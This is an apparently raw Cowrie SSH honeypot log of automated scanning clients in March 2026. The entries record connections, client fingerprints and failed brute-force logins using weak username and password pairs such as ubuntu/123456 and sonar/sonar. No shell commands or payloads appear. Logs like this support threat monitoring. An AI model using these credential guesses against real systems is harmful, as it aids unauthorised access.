{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:49:23.217031Z","src_ip":"193.32.162.151","session":"80e62723dff7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"p2ssw0rd","message":"login attempt [oracle/p2ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:49:23.543158Z","src_ip":"193.32.162.151","session":"80e62723dff7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:49:24.664438Z","src_ip":"193.32.162.151","session":"80e62723dff7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":44106,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2c11619733b","protocol":"ssh","message":"New connection: 92.118.39.76:44106 (10.17.0.5:22) [session: f2c11619733b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:49:40.310631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:49:40.317219Z","src_ip":"92.118.39.76","session":"f2c11619733b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:49:40.416802Z","src_ip":"92.118.39.76","session":"f2c11619733b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:49:40.854453Z","src_ip":"92.118.39.76","session":"f2c11619733b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:49:41.977257Z","src_ip":"92.118.39.76","session":"f2c11619733b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.77","src_port":14904,"dst_ip":"10.17.0.5","dst_port":22,"session":"c608cc594494","protocol":"ssh","message":"New connection: 64.62.197.77:14904 (10.17.0.5:22) [session: c608cc594494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:50:03.266639Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u000f61'\u0017\\x96\\x98\u00b3\\xe0E\u0014\f\\xd9\\xfbm\\xa8\\x97_$c3x\\xecv\\xf4\\xee@\\xe9\\x9d-I\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u000f61'\u0017\\x96\\x98\u00b3\\xe0E\u0014\f\\xd9\\xfbm\\xa8\\x97_$c3x\\xecv\\xf4\\xee@\\xe9\\x9d-I\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:50:03.271661Z","src_ip":"64.62.197.77","session":"c608cc594494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:50:03.276711Z","src_ip":"64.62.197.77","session":"c608cc594494","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":43204,"dst_ip":"159.203.135.109","dst_port":22,"session":"395fb081dd18","protocol":"ssh","message":"New connection: 195.178.110.218:43204 (159.203.135.109:22) [session: 395fb081dd18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:50:08.420223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:50:08.426989Z","src_ip":"195.178.110.218","session":"395fb081dd18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:50:08.512231Z","src_ip":"195.178.110.218","session":"395fb081dd18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:50:08.756333Z","src_ip":"195.178.110.218","session":"395fb081dd18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:50:09.840852Z","src_ip":"195.178.110.218","session":"395fb081dd18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":33072,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3e197a7f675","protocol":"ssh","message":"New connection: 80.94.92.186:33072 (10.17.0.5:22) [session: e3e197a7f675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:50:24.672428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:50:24.865745Z","src_ip":"80.94.92.186","session":"e3e197a7f675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:50:24.870026Z","src_ip":"80.94.92.186","session":"e3e197a7f675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:50:26.208616Z","src_ip":"80.94.92.186","session":"e3e197a7f675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:50:27.459032Z","src_ip":"80.94.92.186","session":"e3e197a7f675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":43736,"dst_ip":"159.203.135.109","dst_port":22,"session":"598c91f75560","protocol":"ssh","message":"New connection: 193.32.162.151:43736 (159.203.135.109:22) [session: 598c91f75560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:51:33.846400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:51:33.850575Z","src_ip":"193.32.162.151","session":"598c91f75560","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:51:33.956293Z","src_ip":"193.32.162.151","session":"598c91f75560","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:51:34.282857Z","src_ip":"193.32.162.151","session":"598c91f75560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:51:35.391247Z","src_ip":"193.32.162.151","session":"598c91f75560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":53688,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d962ea6ae33","protocol":"ssh","message":"New connection: 92.118.39.76:53688 (10.17.0.5:22) [session: 0d962ea6ae33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:51:49.723998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:51:49.727766Z","src_ip":"92.118.39.76","session":"0d962ea6ae33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:51:49.836388Z","src_ip":"92.118.39.76","session":"0d962ea6ae33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:51:50.173058Z","src_ip":"92.118.39.76","session":"0d962ea6ae33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:51:51.281076Z","src_ip":"92.118.39.76","session":"0d962ea6ae33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":48356,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b5658d3fdb8","protocol":"ssh","message":"New connection: 195.178.110.218:48356 (159.203.135.109:22) [session: 0b5658d3fdb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:52:48.139394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:52:48.143872Z","src_ip":"195.178.110.218","session":"0b5658d3fdb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:52:48.226706Z","src_ip":"195.178.110.218","session":"0b5658d3fdb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:52:48.464538Z","src_ip":"195.178.110.218","session":"0b5658d3fdb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:52:49.547660Z","src_ip":"195.178.110.218","session":"0b5658d3fdb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":35742,"dst_ip":"10.17.0.5","dst_port":22,"session":"30542d84db9c","protocol":"ssh","message":"New connection: 80.94.92.186:35742 (10.17.0.5:22) [session: 30542d84db9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:53:48.076462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:53:48.088102Z","src_ip":"80.94.92.186","session":"30542d84db9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:53:48.307231Z","src_ip":"80.94.92.186","session":"30542d84db9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":59592,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2c8ffb2caf4","protocol":"ssh","message":"New connection: 193.32.162.151:59592 (159.203.135.109:22) [session: d2c8ffb2caf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:53:49.079555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:53:49.085175Z","src_ip":"193.32.162.151","session":"d2c8ffb2caf4","protocol":"ssh"}
